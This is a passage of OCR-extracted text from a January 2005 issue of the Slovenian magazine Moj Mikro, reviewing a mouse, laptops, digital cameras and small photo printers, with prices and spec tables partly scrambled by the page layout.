funkcij, ki jih večkrat uporabljamo.

PROTI:

Ob vseh lepih rečeh se moramo
ustaviti še ob eni neprijetni, ceni namreč. Na
preizkusu smo imeli model 9x12, ki ima aktivno površino velikosti približno A4-strani.
Cena ni ravno primerna za domači žep, a za
resno dnevno v delo v kakšni oblikovalski
agenciji ta ne bi smela biti problematična.
Wacom ponuja še manjše modele, vse tja do
delovne površine 5 x 4 palce, kar je še na meji
uporabnosti in cenovno še dovolj blizu domačemu uporabniku.
Alan Orlič Belšak

62

MOJ MIKRO 1 JANUAR 2005

Skupna ocena:

Razmerje cena/kakovost:

Spletni naslov: www.logitech.com
Cena: 13.256 SIT
Tehnični podatki
Vmesnik: USB in PS2
Optični senzor: Da
Laserski senzor: Ne
Brezžična povezava: Da
Število tipk/programirljivih: 11
Ločljivost senzorja: 800 dpi
Potrebna posebna podlaga: Ne

ZA:

Logitechova tradicija odličnih mišk se
nadaljuje z modelom MediaPlay, čeprav gre za
nekoliko posebno miško. Logitech ja namreč
na to brezžično miško simetrične oblike, ki se
torej prilega v roko tako desničarjem kot levičarjem, vdelal še nekaj dodatnih gumbov,
ki razširjajo delovanje še na daljinsko upravljanje računalnika. Predvsem računalnika, ki
ga uporabljamo kot medijski center, torej za
predvajanje glasbe ter gledanje videa in fotografij. V ta namen Logitech prilaga tudi preizkusno različico programa Logitech MediaLife,
ki omogoča dostop do fotografij, glasbenih
datotek in filmov na našem diskovju, oziroma do storitve MusicMatch radio (zaživi šele
ob plačilu naročnine), ki omogoča poslušanje
tematskih radijskih postaj oziroma posameznih izvajalcev in njim podobne glasbe. Sicer
je MediaPlay Cordless običajna brezžična miška, posebnost je krmilno kolesce, ki ga je moč
uporabljati tudi za premikanje levo in desno.
Medijske tipke imajo lastno osvetlitev, po nekaj sekundah neuporabe pa samodejno ugasnejo in tako niso moteče. Miška je tudi ergonomsko in oblikovno lepo zasnovana in odeta
v kakovostno modro, srebrno in črno plastiko.
Brezžična povezava deluje tako kot obljubljeno
– izredno hitro in brez zakasnitev.

PROTI:

Za napajanje skrbita dve (priloženi Duracellovi) AA-bateriji, ki sicer držita dlje časa (ob vsakodnevni uporabi vsaj 14
dni), vendar vseeno pogrešamo mehanizem
polnjenja, kot smo ga videli pri recimo serijah MX-xx00. Teža miške je še vedno v mejah
povprečja, vendar je dvakrat težja kot model
MX700.
Jaka Mele

PREIZKUSILI SMO ...
novi prenosniki

VSE VEČ VEČPREDSTAVNOSTI
Prenosniki zgornjega srednjega
razreda se že spreminjajo v domača
multimedijska središča.
Piše : Gregor Baš
gregor.bas@mojmikro.si

Toshiba Qosmio

Pri Toshibi so predstavili prenosnik Qosmio,
ki naj bi bil pravo domače multimedijsko središče. V eni od različic modela dobimo tudi že
vdelan TV-sprejemnik. Vendar je s tem še preProizvajalec
in ime modela:
Skupna ocena:
Razmerje cena/kakovost:
Informacije:
Spletni naslov:
Cena:
Tehnični podatki
Procesor:
Pomnilnik:
Trdi disk:
Vgrajene pomnilniške enote:
Zaslon:
Grafična kartica:
Vmesniki:

Delovanje baterije:
Mere in masa:
Programska oprema:

64

cej težav, saj deluje le v državi, za katero je
bil prenosnik narejen. Tako vam
denimo prenosnik, izdelan za
nemški trg, v Sloveniji
ne bo kaj prida koristil,
ko boste hoteli gledat
TV-program. Preizkusili
smo model brez vdelanega
TV-sprejemnika.
Na splošno gledano je
Qosmio povsem spodoben
prenosni računalnik, ki se po
hitrosti uvršča nekako v zgornji
del zlate sredine. Nekoliko razočarani smo bili nad kratko avtonomijo, navdušeni pa nad možnostjo priključevanja najrazličnejših
naprav, ki prenosnik dejansko lahko
spremenijo v domače multimedijsko
središče. Poleg klasičnih izhodov za
TV (S-video) imamo tudi vhod Svideo in digitalni izhod D-video. Poleg vsega tega ima tudi monitorski vhod, prek katerega lahko
pripeljemo na zaslon prenosnika sliko iz videokamere, igralne konzole
in podobnih naprav. Pri
modelu s TV-sprejemnikom pa
lahko monitorski vhod uporabimo tudi
za priključitev avdio naprav.

Acer Aspire 1413LC

Aspire 1413LC je Acerjev model spodnjega
cenovnega razreda s procesorjem Intel Celeron
M. Če ga primerjamo z modelom 1362, ki je
zgrajen okoli AMD-jevega procesorja Sam-

Toshiba
qosmio F10-101


Inea. Ljubljana
www.toshiba.com
564.480 SIT

Acer
Aspire 1413LC


TrendNET, Velenje
www.acer-euro.com
233.766 SIT

Toshiba
Satellite M30X-118


Inea, Ljubljana
www.toshiba.com
469.200 SIT

Gerinote
X6 Radeon


Geri Computer, d.n.o.
www.gericomp-slo.com
409.900 SIT

Intel Pentium M 735
512 MB DDR
60 GB
DVD-RW
15,4 WXGA
Nvidia GeForce
FX Go5700
PC-kartica (PCMCIA), avdio, S/PDIF, 4 x USB 2.0,
FireWire, VGA, S-video
vhod/izhod, monitorski izhod, D-video izhod, bralnik
kartic, WLAN 802.11 b/g,
modem, LAN
2:03
373 x 284 x 43 mm; 3,8 kg
Windows XP Home Edition

Intel Celeron M 340
256 MB DDR
40 GB
DVD/CD-RW
15 XGA
Intel 855GME

Intel Pentium M 735
512 MB DDR
60 GB
DVD-RAM
15,4 WXGA
ATI Mobility
Radeon 9700
PC-kartica
(PCMCIA), PC-kartica (PCMCIA), avavdio, 3 x USB 2.0, Fire- dio, 3 x USB 2.0, FireWire,
Wire, VGA, S-video izhod, VGA, TV-izhod, LPT, bralmodem, LAN, IrDA
nik kartic, WLAN 802.11
b/g, modem, LAN

Intel Pentium M 1,6 GHz 2MB
512 MB DDR
60 GB
DVD+/- RW
15.1” 1400 x 1050
ATI Radeon 9700
Mobile 128 MB DDR
PC-kartica (PCMCIA), avdio, 3 x USB 2.0, FireWire
VGA, LPT, PS/2, TV-izhod,
modem, LAN, IrDA, WLAN
801.11b/g

2:48

4:10
333 x 275 x 36 mm; 3,1 kg
Windows XP Home Edition

3:36
365 x 275 x 30 mm; 3,1 kg
Windows XP Home Edi- Windows XP Home Edition
tion

MOJ MIKRO 1 JANUAR 2005

pron (predstavili smo ga v prejšnji številki),
ugotovimo, da na testih hitrosti za njim zaostaja. Kljub vsemu so ti zaostanki zelo majhni in
pri normalnem delu praktično tega ni opaziti.
Veliko bolje pa se Aspire 1413LC odreže, kadar zmanjka elektrike, saj baterija zadošča za
skoraj tri ure delovanja. In ker je tudi cena
zelo ugodna, bi bila to lahko kar modra odločitev za ne preveč zahtevnega uporabnika.
Kar smo pogrešali pri modelu Aspire 1413LC,
je prav gotovo možnost brezžične povezave v
različna omrežja.

Gerinote X6 Radeon

V resnici gre za prenosnik Gericome X6, ki
pa je bil do konca sestavljen pri nas. Gre za

PREIZKUSILI SMO ...
novi digitalni fotoaparati
zanimiv prenosnik z magnezijevim ohišjem. Ohišje
je na pogled in otip prijetno. Vdelan je 15,1-palčni
LCD-zaslon
ločljivosti
1400 x 1050 pik, v drobovju pa tičita 1,6 GHz procesor Intel Pentium M in
grafična kartica ATI Radeon 9700 Mobile s 128 MB
pomnilnika. Sistemskega
pomnilnika je 512 MB, trdega diska je za 60 GB, kar
je ravno dovolj, tudi če bo
prenosnik zamenjava za
namizni računalnik. Vdelan je tudi hiter in univerzalen DVD-zapisovalnik. Gre za pravcato
prenosno pošast, ki
bo zlahka pognala
tudi zahtevnejše igre.
S programi pa tako ali tako ni težav. Prenosnik Toshiba Satellite M30X-118
deluje izredno hitro, zaslon pa ponuja dovolj
Še en model, ki potrjuje Toshibino odličnost.
prostora za udobno delo. Še najšibkejši člen Satellite M30X je namenjen multimedijsko
je tipkovnica, ki pa tudi ni slaba. Le vse drugo usmerjenim uporabnikom, ki bodo znali ceniti
je toliko boljše. Zanimiva poteza proizvajalca kakovosten širok zaslon in za prenosni račuje namestitev avdio priključkov na prednji nalnik precej kakovosten zvok. Tudi hitrostni
strani prenosnika, družbo pa jim dela poten- testi so pokazali, da procesor opravi svoje delo
ciometer za nastavljanje jakosti zvoka. Sicer tako, kot je treba. Delovanje prenosnika brez
pa so drugi priključki nekoliko zgrešeni in niso napajanja traja nekaj več kot tri ure in pol,
ravno na mestih, kjer bi jih pričakovali. Ni pa kar je povsem spodobno, vendar nič zares preto posebna težava, saj se da vsemu z lahkoto tresljivega.
privaditi.
Prenosnik je med delovanjem tih in ostaja
izredno dolgo tudi skoraj popolnoma hladen.
S tem prav gotovo ne bo težav tudi pri dolgotrajnih večjih obremenitvah. Vse dobro
te pa prinesejo tudi
negativne posledice. Oznake Intelovih procesorjev za prenosne računalnike
Ime procesorja
Arhitektura
Predpomnilnik Frekvenca
Kljub zmogljivi baIntel Pentium M 755
90 nm
2 MB L2
2.0 GHz
teriji je avtonomija
Intel
Pentium
M
745
90
nm
2
MB
L2
1.80 GHz
prenosnika
dobre
Intel
Pentium
M
735
90
nm
2
MB
L2
1.70 GHz
štiri ure. Ni slabo,
Intel Pentium M 725
90 nm
2 MB L2
1.60 GHz
tudi v primerjavi z
Intel Pentium M 715
90 nm
2 MB L2
1.50 GHz
drugimi podobnimi
Intel
Pentium
M
705
130
nm
1
MB
L2
1.50 GHz
modeli ne. Bi pa bilo
Intel
Pentium
M
Low
Voltage
738
90
nm
2
MB
L2
1.40 GHz
prav in lepo če bi bila
Intel Pentium M Low Voltage 718
130 nm
1 MB L2
1.30 GHz
avtonomija bližje, reIntel Pentium M Ultra Low Voltage 733 90 nm
2 MB L2
1.10 GHz
cimo, dobrim petim
Intel
Pentium
M
Ultra
Low
Voltage
7238
90
nm
2
MB
L2
1.0 GHz
uram.
Intel
Pentium
M
Ultra
Low
Voltage
713
130
nm
1
MB
L2
1.10 GHz
V splošnem gre za
Intel Celeron M 360
90 nm
1 MB L2
1.40 GHz
dober in zanesljiv preIntel Celeron M 350
90 nm
1 MB L2
1.30 GHz
nosnik, ki zaleže tako
Intel
Celeron
M
340
130
nm
512
KB
L2
1.50 GHz
doma kot na poti, pa
Intel
Celeron
M
330
130
nm>
512
KB
L2
1.40 GHz
še v izredno vzdržljiIntel Celeron M 320
130 nm
512 KB L2
1.30 GHz
vem ohišju je. In če
Intel Celeron M 310
130 nm
512 KB L2
1.30 GHz
upoštevamo vse poIntel
Celeron
M
Ultra
Low
Voltage
353
90
nm
512
KB
L2
900 MHz
nujeno, je cena dokaj
Intel
Celeron
M
Ultra
Low
Voltage
333
130
nm
512
KB
L2
900 MHz
nizka za tak model.

w w w.mojmikro.si
FORUM
NOVICE
ČLANKI
PREIZKUSILI SMO

nsko informacijsko
Več novic tako ali drugače povezanih s sloveni strani!
srenjo lahko najdete na naši splet

VELIKI
KALIBRI

Ne zgodi se ravno vsak dan, da dobimo
v kratkem času v preizkus kar tri
zrcalnorefleksne fotoaparate. Še več, dva
izmed njih se potegujeta za tiste kupce,
ki so pred časom merili prav na vrh
kompaktnih fotoaparatov.
Piše : Alan Orlič Belšak
alan.orlic@mojmikro.si

L

ahko bi rekli tudi drugače, namreč, fotografija se vrača v ustaljene tirnice. Velika
večina profesionalnih uporabnikov že
uporablja digitalne fotoaparate, na sejmu
Photokina pa je kazala veliko zanimanje predvsem zrelejša generacije. Da, prav ste slišali,
gospe in predvsem gospodje so se pustili podučevati v digitalni tehniki.

Olympus E-300

Ljubezen na drugi pogled. Oblika je sicer
mišljena tako, da pritegne predvsem uporabnike kompaktnih in hibridnih fotoaparatov, a
če vas ne bo preveč zmotila, imate pred seboj
zmogljiv fotoaparat. V primerjavi z drugimi
modeli ima ta zrcalce, ki ne odbija svetlobe
navzgor, temveč desno, proti drugim zrcalom.
E-300 namreč nima prizme, zato tudi ne potrebuje izbokline nad osrednjim delom fotoaparata, kjer je ta velikokrat postavljena. Kljub lepo
odebeljenemu desnemu delu je ta le premalo
MOJ MIKRO 1 JANUAR 2005

65

PREIZKUSILI SMO ...
novi digitalni fotoaparati
izrazit in večja roka teže najde trden položaj.
Na vrhu ohišja je posebna modra lučka, ki zasveti ob vsakem vklopu fotoaparata, a ni namenjena temu, temveč opozorilu, da sistem
odstranjevanja prahu deluje. Prah je namreč
pri zrcalnorefleksnih digitalnih fotoaparatih
dokaj pereč problem, saj utegne njegovo odstranjevanje marsikomu povzročiti sive lase.
Gumbi so lepo razporejeni in hitro pridemo do
pomembnih nastavitev. Malce so zapletli le nastavitev časa in zaslonke v ročnem načinu, saj
ne moremo hitro oziroma istočasno nastavljati
obojega. E-300 ima tri točke za ostrenje, lahko deluje le ena od njih, lahko pa vse tri.
Drugače kot pri modelu E-1 lepa rdeča
točka pokaže, na kateri točki je fotoaparatu uspelo izostriti. Vdelana bliskavica
se dvigne dokaj visoko, še lepše je to,
da zna delati hkrati z izmenljivo. Slednje pomeni to, da vam vdelana skrbi
za osvetlitev objekta, izmenljiva pa za
prostor.
E-300 pozna kar nekaj načinov fotografiranja, dodali so mu tudi scenske nastavitve, tako se vam recimo ni treba ubadati s
pojmi, kot so pod/nadosvetlitev ali izravnava
svetlobe, temveč le poiščete pravo sličico.
Slednje velja predvsem za začetnike, med načini pa najdete vse mogoče, od fotografiranja na
plaži ali na snegu do zanimivejših, kontrastnih
portretov ali fotografiranja hrane.
Fotoaparat je prišel na preizkus v kompletu
z objektivoma 14−45mm f3,5−5,6, 40−150
f3,5−4,5 ter bliskavico FL36. Slednja ima zelo
podobne možnosti kot FL50, tudi glava je gibljiva v vse smeri, le šibkejša je od slednje. Poleg
tega potrebuje za delovanje le par AA- baterij,
a se zaradi tega tudi počasneje polni. Par objektivov se odlično dopolnjuje s tem fotoaparatom, saj pokrije praktično celotno območje,
ki ga večina uporabnikov potrebuje, od 28 do
300mm v primerjavi s 35 mm klasiko.
Kot ste opazili, o kakovosti slike nismo veliko zapisali, predvsem zaradi tega, ker smo
v preizkus dobili predserijski fotoaparat in se

utegne do redne proizvodnje še izboljšati. Kljub
temu lahko zapišemo, da že zdaj kaže dobre rezultate. Marsikaterega kupca bo pritegnilo, da
je vse, z bliskavico vred, dokaj majhno in gre
brez težav v dokaj majhno fotografsko torbico.
Makro navdušencem bi priporočili še vmesni
obroček in tako imate praktično vse, kar potrebujete za pot.

Pentax
*istDs

Včasih so nam v šoli
rekli: »Sedi, odlično!« Nekaj
podobnega lahko rečemo tudi za
Pentaxovega novinca, ki ima po našem prepričanju vse adute, da sledi liniji, ki jo je že pred
časom začrtal Canon 300D. Fotoaparatu ni kaj
očitati. Ohišje je majhno in ga v roki zelo dobro držimo; tako je eden od glavnih minusov
predhodnika *istD odpravljen. Gumbov je zelo
malo, saj večino nastavitev opravimo kar prek
zaslona. Vse je narejeno tako, da lahko uporabnik čimprej začne fotografirati in se ne ukvarja
preveč s tehniko. Načinov za fotografiranje je
kar nekaj, od programskih do polsamodejnih
in ročnega. Vdelana bliskavica se sicer ne dvigne tako visoko, kot pri že omenjenem Canonu
300D, a še vedno dovolj, da je uporabna. Tipalo
ima razpon do ISO 3200, pri slednjem bodite
pripravljeni na dokaj močan šum, medtem ko
je že pri ISO 1600 čisto sprejemljiv. Samodejno
ostrenje dobro deluje in na izbiro je 11 točk,
od tega dve skrajni, na levi in desni strani. Pri
sredinskih fotoaparat nima težav z ostrenjem,
medtem ko mu obe skrajni povzročate nekaj

težav in ne najdeta vedno prave ostrine. Še ena
slaba stran novinca, ki jo bodo preklinjali predvsem starejši uporabniki z zbirko kartic CompactFlash: uporablja namreč le in samo kartice
tipa SD/MMC. Glede na trenutne cene pomnilniških medijev to niti ni takšna slabost, poleg
tega so veliko uporabnejše, saj jih uporabljajo
tudi dlančniki in MP3-predvajalniki. Pentaxu
je uspelo narediti majhen in zmogljiv fotoaparat, ki bo prepričal marsikaterega uporabnika
za prehod v svet digitalne tehnike oziroma za
korak višje, s kompaktnežev v zrcalnorefleksni razred. Poleg tega je fotoaparat združljiv s
starejšimi Pentaxovimi objektivi, tudi tistimi
z ročnim ostrenjem, s posebnim bajonetom pa
lahko uporabljamo tudi objektive z navojem
M42. Če pogledamo cene, so se te slednjim že
čisto približale in v določenih delih ujele dražje
8-milijonske fotoaparate, kar je seveda najzanimivejše predvsem za nas, uporabnike.

Pentax Optio X

To je modni fotoaparat, ki pa meri tudi na
poslovne uporabnike. Ima kar nekaj zanimivih
rešitev. Za začetek je tu vrtljivi LCD-zaslon
oziroma objektiv, kakor vam ljubše. Poslovne
uporabnike bo privabil predvsem vdelani diktafon, ki ga nima prav veliko fotoaparatov. Zanimivo je postavljen tudi navoj za stativ, tako
da fotoaparat privijemo pokončno, namesto
vodoravno. Kvadratno ohišje je sicer malo
nerodno za držanje, a vrtljivi del olajša rokovanje. Čeprav je namenjen predvsem preprosti
rabi, ima kar nekaj možnosti za kreativno delo.

Pentax *istDs


Foto Beseničar s.p.
www.pentax.com
199.990 SIT
enostaven in majhen

Pentax Optio X


Foto Beseničar, s.p.
www.pentax.com
108.900 SIT
funkcije

Rollei dk4010


Cumulus, d.o.o.
www.rollei.de
124.990 SIT
velikost, ISO-občutljivost

Rollei dr5100


Cumulus, d.o.o.
www.rollei.de
85.990 SIT
možnosti, velikost

Praktica Luxmedia 4008


Cumulus, d.o.o.
www.praktica.de
86.990 SIT
možnosti

Proti

Olympus E-300


Olympus Slovenija, d.o.o.
www.olympus.com
odličen sistem za
začetnike
dostopnost funkcij

le pomnilniška kartica
SD

nekoliko prevelik

dostopnost do funkcij

veliko šuma pri višjih
občutljivostih

nenatančno ostrenje

Konica Minolta Dynax 7D


Euro foto, d.o.o.
www.konicaminolta.com
385.990 SIT
umirjevalnik slike, velik
LCD-zaslon
posebnost funkcij

Tehnični podatki
Najvišja ločljivost
Tip in ločljivost tipala
Objektiv (mm)
Razpon časa
ISO-občutljivost
Zaslonka
Pomnilniška kartica
Vmesnik
Teža
Baterije

3264 x 2448
CCD, 8 M
4/3 sistem, faktor 2x
60 s�1/4000 s + B
100�1600
CompactFlash I, II
USB
624 g
Li ion

3008 x 2008
CCD, 6 M
KA bajonet, faktor 1,5x
30 s�1/4000s + B
200�3200
SD/MMC
USB
605 g
4 x AA

2560 x 1920
CCD, 5 M
36�107 mm
4 s�1/2000 s
avtomatska
F2,6�4,8
SD/MMC
USB
145 g
Li ion

2274 x 1704
CCD, 4 M
37�370 mm
2 s�1/2000 s
100�800
F2,8�3,1
SD/MMC
USB
340 g
4 x AA

2592 x 1944
CCD, 5 M
28�85 mm
30 s�1/2000 s
64�1600
F2,5�4,3
SD/MMC
USB
205 g
2 x AA

3264 x 2448
CCD, 4 M
40�320 mm
16 s�1/2000 s
50�400
F2,8�3,4
SD/MMC
USB
395 g
4 x AA

3008 x 2000
CCD, 6 M
A bajonet, faktor 1,5x
30 s�1/4000 s + B
100�3200
CompactFlash I, II
USB
800 g
Li ion

66

MOJ MIKRO 1 JANUAR 2005

Proizvajalec in ime modela
Skupna ocena:
Razmerje cena/kakovost
Informacije
Spletni naslov
Cena
Za

PREIZKUSILI SMO ...
novi digitalni fotoaparati
Objektiv je že star znanec, saj je enak tudi pri
Optiu S4i in se mu pri sestavljanju v fotoaparat premakne ena leča v drug položaj, s čimer
prihrani prostor. Ima pa zato novo baterijo s
prav posebnim načinom vstavljanja. Optio X
je dokaj zanimiv fotoaparat, a vprašanje je, ali
je dovolj »moden«, kljub zanimivemu vrtljivemu delu ohišja. Če bi bil manjši, bi vsekakor
požel še več občudovanja.

Rollei dk4010

Fotoaparatom z 10x spremenljivo goriščnico se je pridružil tudi Rollei z modelom dk4010. Majhen, a zmogljiv model ponuja veliko,
predvsem čisto uporabne fotografske možnosti.
Do nekaterih boste morali brskati po menijih,
predvsem tistih naprednejših. Za ta razred je
zanimiva visoka ISO-občutljivost do ISO 800,
ki je še kar uporabna, če v slabših svetlobnih
razmerah ne želite uporabiti bliskavice. Ponuja
še eno zanimivost, zaporedno fotografiranje s
3,3 posnetka na sekundo, dokler ne zapolnite kartice. A tu velja opomba: samo če imate
hitro pomnilniško kartico. Zmore tudi zajem
videa z ločljivostjo 640 x 480 pik, kar je že
počasi postalo standard. Proizvajalci se kot
hudič križa izogibajo ločljivosti 720 x 576 pik,
saj bi s tem praktično stopili v svet digitalnih
kamer, česar pa zaenkrat še nočejo. Majhno
ohišje presenetljivo dobro leži v roki, seveda
na račun odebeljenega desnega dela. Ima tudi
zelo dobro elektronsko iskalo, ki premore
kar 300.000 pik. To zadošča za ločljivost 640
x 480 pik, v primerjavi z drugimi, ki imajo še
vedno praviloma le okoli 200.000 pik. Zraven
dobite še snemljivo sončno zaslonko, ki vam
lahko rabi tudi kot obroč za filtre, če vas ne
moti malce večja velikost fotoaparata. Vsekakor gre za spodoben model, le dokaj visoka
cena v primerjavi z drugimi ga utegne držati
bolj zadaj.

Rollei dr5100

Ta kompaktnež želi ponuditi nekaj več.
Kljub majhnemu in kompaktnemu ohišju je
treba fotoaparat držat z obema rokama, če
mu želimo spreminjati določene možnosti.
Poleg tega so lepo število možnosti dali na
eno tipko, kar pomeni kar nekaj pritiskov,
da pridemo do želene funkcije. Kljub temu
gre za zanimiv fotoaparat, ki med drugim
omogoča uporabo izmenljive bliskavice.
Občutljivost tipala je za tako kompakten
fotoaparat zelo visoka, do ISO 1600, a
je videti, da je v tem primeru že krepko
prek meje tipala in uporabno le v skrajni sili. Fotoaparat pozna vse samodejne
in polsamodejne načine, ima pa tudi
scenske nastavitve in možnost ročnih
nastavitev. Zanimiv je tudi objektiv, ki
pokrije uporaben kot, od 28 do 85 mm.
Rollei se v digitalne vode spušča že kar preveč
zadržano, saj ga je večina znanih proizvajalcev
prehitela. Kljub temu zna pokazati marsikaj,
in kogar so njihovi fotoaparati navduševali v
analognem svetu, tudi v digitalnem ne bo razočaran.

Praktica Luxmedia 4008

Celo bivša vzhodnonemška Praktica se je
odpravila na digitalno področje. Preizkusili smo model Luxmedia 4008, ki se ponaša z
8x spremenljivo goriščnico in 4-milijonskim
tipalom. Kljub lepi obliki in dostopnim funkcijam fotoaparat deluje okorno, k čemur pripomorejo tudi ostre oblike ohišja. S preizkusom
nismo bili najzadovoljnejši, saj je bilo včasih
ostrenje loterija, kljub dobrim svetlobnim razmeram. Kakovost slike je povprečna in nekako ne odstopa od povprečja štirimilijonskih
fotoaparatov. Luxmedio 4008 rešuje predvsem
zanimiva cena, ki bo privabila marsikaterega
uporabnika.

Konica Minolta Dynax 7D

Čeprav je takrat, že leta 1995, samo še Minolta pokazala zrcalnorefleksni digitalni fotoaparat, smo doslej skupaj z najnovejšim Dynaxom
7D videli le tri njihove fotoaparate tega tipa.
RD-175 je bil zanimiv zaradi cene, kajti stal je
borih 5500 dolarjev (Canon, Kodak in Nikon
so imeli petkrat do desetkrat višjo ceno), in tipala. Pravzaprav treh, če smo natančni, kajti
za vsako barvo je skrbelo posebno tipalo. Fotoaparat je bil zaradi tega strašno debel in prav

nič podoben digitalnemu
fotoaparatu, prej kakšnemu
metalcu raket. Narejen je bil
skupaj v sodelovanju z danes že
malce pozabljeno Agfo. Pet let pozneje mu je
sledil RD-3000, ki je imel za osnovo Minoltin
fotoaparat APS. Kljub za tiste čase zanimivi
ceni se nekako ni prijel, morda predvsem zaradi objektivov, ki jih za sistem Vectis ni ravno
veliko. Letos smo le dočakali tisto pravo, kot
se od Konice Minolte tudi spodobi, Dynax
7D. Ni težko ugotoviti, da so za osnovo vzeli
analogni model Dynax 7. Ta fotoaparat je
že v osnovi namenjen zahtevnejšim amaterjem ter resnim uporabnikom in so ga
priredili za digitalno okolje. Ponaša se
z enim od največjih LCD-zaslonov za
zrcalnorefleksne modele, kar je za pregled slik vsekakor dobrodošla novost.
Gumbov in nastavitev je kar nekaj in
ni veliko sprehajanja po menijih. Če
ste že uporabnik katerega od Minoltinih
fotoaparatov, vam bo novinec hitro sedel v roke. Čeprav je fotoaparat velik, ima
enega od najboljših držajev, še zlasti če si omislite baterijsko držalo. Slednje omogoča tudi
uporabo klasičnih AA-baterij. Zdaj pa k tistemu, kar ta fotoaparat postavlja tehnično med
najnaprednejše − to je umirjevalnik slike. Ta
napravica premika tipalo po obeh smereh (X
in Y osi) in tako izravnava zunanje tresljaje.
Deluje odlično, saj smo z 90 mm objektivom
iz roke posneli oster motiv z 1/10 sekunde. V
nasprotnem primeru bi bil normalen čas 1/90
sekunde, z malce sreče pa največ 1/45 sekunde. Kar je še pomembnejše, vsak objektiv tako
dobi umirjevalnik slike, ne pa kot pri Canonu
ali Nikonu, ko imajo to možnost le nekateri
objektivi. Pri Konici Minolti so tudi dokazali,
da dobro obvladajo obdelavo signala iz tipala,
saj imajo slike zelo malo šuma, tudi pri višjih
občutljivostih.
Konica Minolta je s tem fotoaparatom dobila pravi zagon, ki ji je toliko časa manjkal.
Krog uporabnikov imajo zelo širok, saj so od
leta 1985, ko so predstavili prve objektive s
samodejnim ostrenjem, teh prodali kar 36 milijonov. Začetek je dober, zato, kot pravi stari
pregovor − kuj železo, dokler je vroče.


MOJ MIKRO 1 JANUAR 2005

67

PREIZKUSILI SMO ...
mali tiskalniki

MALO JE LEPO

Mali tiskalniki za domačo rabo počasi dobivajo zagon, kar se pozna tudi pri njihovi ceni.
Piše : Alan Orlič Belšak
alan.orlic@mojmikro.si

T

okrat smo preizkusili obe glavni tehnologiji,
termosublimacijo in brizgalno tehniko.
Prvo ima Canon Selphy CP400, drugo pa
Epson Photomate in HP-jeva tiskalnika
Photosmart 375 in 325. Vsi modeli so zasnovani
tako, da mora uporabnik čim manj misliti pri
menjavi kartuš oziroma potrošnega materiala.
Epson ima celo le eno samo kartušo, čeprav
tiska šestbarvno. Poleg tega so omejili število
izpisov na 100 z eno kartušo − potem jo je
treba zamenjati. Canonov potrošni material
je v obliki posebne folije, v obeh primerih pa
dobimo zraven tudi ustrezno količino papirja,
ki ustreza porabi. HP je v tem primeru bolj
tradicionalno usmerjen, saj ima le tribarvno
kartušo, ki pa se zelo dobro obnese. Kljub
temu je treba biti pazljivejši pri barvi, saj je
se potrošni material kupuje ločeno in ne
tako kot pri Canonu in Epsonu, kjer ga
kupite v kompletu.
Canon Selphy CP400 sledi po
zunanjosti prejšnjim modelom, kar pomeni
majho velikost in preproste linije. Gumbe
boste zaman iskali, jih ni. Poleg tiskanja prek

Izdelek
Posodil
Spletna stran
Ocena
Skupna ocena
Za
Proti
Velikost izpisa
Hitrost izpisa
Dodatne možnosti

Cena izpisa**
Cena

68

Canon Selphy CP400
Avtera, d.o.o.
www.canon.com


velikost, hitrost izpisa

osebnega računalnika omogoča tudi tiskanje
iz digitalnega fotoaparata, če je ta združljiv
s standardom PictBridge. Izpis je dokaj hiter,
čeravno ne najhitrejši, saj porabi za eno stran
nekaj več kot 80 sekund. Termosublimacija
omogoča zelo kakovosten izpis, tudi črno-belih
slik.

Epson Photomate je v primerjavi s Canonom
bistveno večji, saj ima vdelan tudi čitalnik
pomnilniških kartic. Dobite ga v dveh
različicah, navadni in mobilni, pri
slednji je zraven še USB-vmesnik
bluetooth, ki omogoča tiskanje iz
mobilnih telefonov, če podpirajo
zajem slike. LCD-zaslon ne prikaže
slike, temveč le njeno zaporedno
številko in nam omogoča nekatere
osnovne nastavitve, tako da moramo
pazljivejši pri neposrednem tiskanju
spomnilniških kartic. Za izpis porabi več
časa kot Canon, skoraj dve minuti.

Epson Photomate
Avtera, d.o.o.
www.epson.com


možnost tiskanja iz
mobilnih naprav
rahlo vijoličasto
malenkost preveč
obarvanje pri črno-belih močne barve
izpisih
148 x 100 mm, 200 x 150 x 100 mm
100 mm*
84 s
114 s
Pictbridge
Pictbridge, čitalnik za
pomnilniške kartice,
vmesnik bluetooth
83 SIT
99 SIT
34.900 SIT
še ni določena
MOJ MIKRO 1 JANUAR 2005

HP Photosmart 325
HP, d.o.o.
www.hp.com


možnost tiskanja iz
mobilnih naprav, izpis
dražji izpis

HP Photosmart 375
HP, d.o.o.
www.hp.com


Možnost tiskanja iz
mobilnih naprav, izpis
dražji izpis

150 x 100 mm

150 x 100 mm

90 s
Pictbridge, čitalnik za
pomnilniške kartice,
vmesnik bluetooth
145 SIT
50.093 SIT

90 s
Pictbridge, čitalnik za
pomnilniške kartice,
vmesnik bluetooth
145 SIT
69.207 SIT

* Z dodatnim držalom za papir
**Cena izpisa je izračunana glede na potrošni material, pri Epsonu
smo povzeli po podatkih na njihovi spletni strani

HP je z modeloma Photosmart 375 in 325
nadaljeval svojo zgodbo majhnih tiskalnikov.
Podobno kot Epson Photomate omogočata
tiskanje neposredno s pomnilniških kartic,
omogočata pa celo brezžično tiskanje prek
povezave bluetooth iz mobilnih telefonov
in dlančnikov. Ta segment postaja čedalje
močnejši, ločljivost fotoaparatov, vdelanih v
mobilne telefone, se veča in proizvajalci tega
nikakor ne želijo izpustiti iz rok. Za tiskanje na
terenu lahko dokupite tudi baterijo, ki z enim
polnjenjem omogoča okoli 75 izpisov. Če vam
to ni dovolj, je tu še avtomobilski adapter za
polnjenje in delovanje. Čeprav da imata oba

tiskalnika le tribarvno kartušo, je kakovost
tiska zelo dobra, presenetljivo dober je tudi
črno-bel izpis. Praktično ni potrebe po posebni
črno-beli kartuši, čeprav lahko za kakovostnejši
izpis dokupite tudi to. Razlika med obema
tiskalnikoma je predvsem v večjem zaslonu in
možnosti odprave učinka rdečih oči − oboje
premore le model 375. Omogočata tudi tiskanje
posnetkov ali zaporedja iz videoposnetka, tudi
s pomnilniške kartice. Preizkus je pri obeh
pokazal zadovoljivo kakovost za domačo rabo
in z malce preizkušanja nastavitev se ju da zelo
dobro nastaviti.
Canon ima nekaj cenejši izpis in nižjo
ceno v izhodišču, medtem ko Epson ponuja
več možnosti. Vsi se lahko pohvalijo z veliko
obstojnostjo izpisa, saj naj bi bila ta več kot
100 let (bomo videli, ali res). Če ju primerjamo
s fotolaboratoriji, je njihova glavna prednost
takojšen izpis in prenosljivost, saj so dovolj
majhni, da jih brez težav odnesemo na teren.
Epson ima celo posebno ročko, namenjeno le
temu. Domače tiskanje torej postaja dostopno
